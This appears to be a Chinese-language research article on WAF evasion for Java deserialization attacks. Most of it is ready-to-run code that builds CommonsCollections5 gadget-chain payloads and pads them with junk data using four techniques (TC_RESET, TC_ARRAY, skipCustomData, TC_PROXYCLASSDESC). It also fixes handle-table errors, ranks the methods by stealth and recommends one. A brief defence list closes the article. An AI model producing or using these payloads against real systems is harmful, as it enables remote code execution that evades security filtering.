Java 脏数据填充探索
字数 1540 2025-08-18 17:33:19
Java序列化脏数据填充技术研究
1. 脏数据概念与作用
脏数据是指在Java序列化payload中插入的无意义或干扰性数据,其主要目的是绕过Web应用防火墙(WAF)的检测机制。
为什么需要脏数据:
- 绕过WAF检查:WAF可能通过以下方式检测payload:
- 检查
aced魔术头 - 查找关键字符串或特征信息
- 分析特定类名
- 检查
- 利用WAF性能限制:
- 过大的请求体可能导致分段传输
- 重组大包可能因性能问题被放弃分析
- 超时可能导致只检查前几个TCP报文
2. Java序列化结构分析
Java序列化数据是格式化数据,不能随意插入脏数据,需要找到合法的插入点:
可能的插入点:
- 循环跳过机制:如
do{b = reader.ReadByte()}while(b == 0x00) - 递归解析:前面可塞任意数据,只要最后一次反序列化成功
- 特定标记处理:如
TC_RESET、TC_ARRAY等
3. 脏数据填充技术详解
3.1 TC_RESET技术
原理:
ObjectInputStream.readObject0方法开头会忽略所有TC_RESET(0x79)标记handleReset()会清空handle表,序列化开始时清空无影响
实现代码:
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
for range 100{
dirtyData += "\x79"
}
res = string(payload[:4]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))
特点:
- 简单易用
- 大量TC_RESET在aced流中特征明显
3.2 TC_ARRAY技术
原理:
- 在payload前添加数组头
- gadget作为最后一个元素:
[]Object{null,null,null,gadget}
实现步骤:
- 准备classDesc:
// 生成Object[]序列化对象 rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA== - 处理handle table错乱问题:
- 添加
TC_EXCEPTION(0x7b)标记清空handle表
- 添加
完整实现:
objArrayIns = yso.GetJavaObjectFromBytes(codec.DecodeBase64("rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA=="))
descSer = yso.ToBytes(objArrayIns.JavaSerializable.ClassDesc)
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
dirtyData += "\x75" // TC_ARRAY
dirtyData += string(descSer[4:]) // 去掉magic header
dirtyData += "\x00\x00\x00\x02" // 数组长度是2
dirtyData += "\x7B" // TC_EXCEPTION
res = string(payload[:4]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))
特点:
- 生成标准序列化流,兼容性好
- 是推荐使用的方式
3.3 skipCustomData技术
原理:
readNonProxyDesc会解析classDesc后调用skipCustomDataskipCustomData会跳过数据块不影响解析
实现:
objArraySer = codec.DecodeBase64("rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA==")
objArrayIns = yso.GetJavaObjectFromBytes(objArraySer)
descSer = yso.ToBytes(objArrayIns.JavaSerializable.ClassDesc)
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
dirtyData += string(descSer[4:-2]) // 去掉magic header、super class和block end
dirtyData += "\x77" // TC_BLOCKDATA
dirtyData += "\x05" // 数据块大小
dirtyData += string([]byte{1,2,3,4,5}) // 脏数据
dirtyData += "\x7b" // TC_EXCEPTION
res = string(payload[:5]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))
高级技巧:
- 可以在类名中塞脏数据:
objArrayIns.JavaSerializable.ClassDesc.Detail.ClassName=str.RandStr(10000)
3.4 TC_PROXYCLASSDESC技术
原理:
- 为gadget添加代理头
- 代理头可以无限添加接口名
实现:
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
newPayload = ""
newPayload += string(payload[:5]) // aced和TC_OBJECT
newPayload += string("\x7d") // TC_PROXYCLASSDESC
newPayload += string("\x00\x00\x00\x01") // 1个interface
newPayload += string("\x00\x02") // 长度是2
newPayload += "aa" // 接口名
newPayload += "\x7b" // TC_EXCEPTION
newPayload += string(payload[4:]) // classData
println(codec.EncodeBase64(newPayload))
4. Handle Table问题解决方案
在填充脏数据时常见handle table错乱问题,解决方案:
-
使用TC_EXCEPTION(0x7b):
- 会抛出异常但能执行payload
- 控制台输出不美观
-
重新生成所有引用值:
- 更彻底但实现复杂
-
将所有引用改为实例:
- 避免引用问题
-
使用Java自动生成序列化流:
- 最可靠但需要Java环境
5. 技术对比与推荐
| 技术 | 复杂度 | 兼容性 | 隐蔽性 | 推荐度 |
|---|---|---|---|---|
| TC_RESET | 低 | 高 | 低 | ★★☆☆☆ |
| TC_ARRAY | 中 | 高 | 中 | ★★★★☆ |
| skipCustomData | 高 | 中 | 高 | ★★★☆☆ |
| TC_PROXYCLASSDESC | 中 | 中 | 高 | ★★★☆☆ |
推荐方案:TC_ARRAY方式,因其生成的payload是标准序列化流,兼容性最好。
6. 防御建议
针对脏数据填充攻击的防御措施:
- 深度解析:完整解析整个序列化流而非仅检查开头
- 类名白名单:限制可反序列化的类
- 大小限制:限制反序列化数据大小
- JEP 290:使用Java内置的序列化过滤器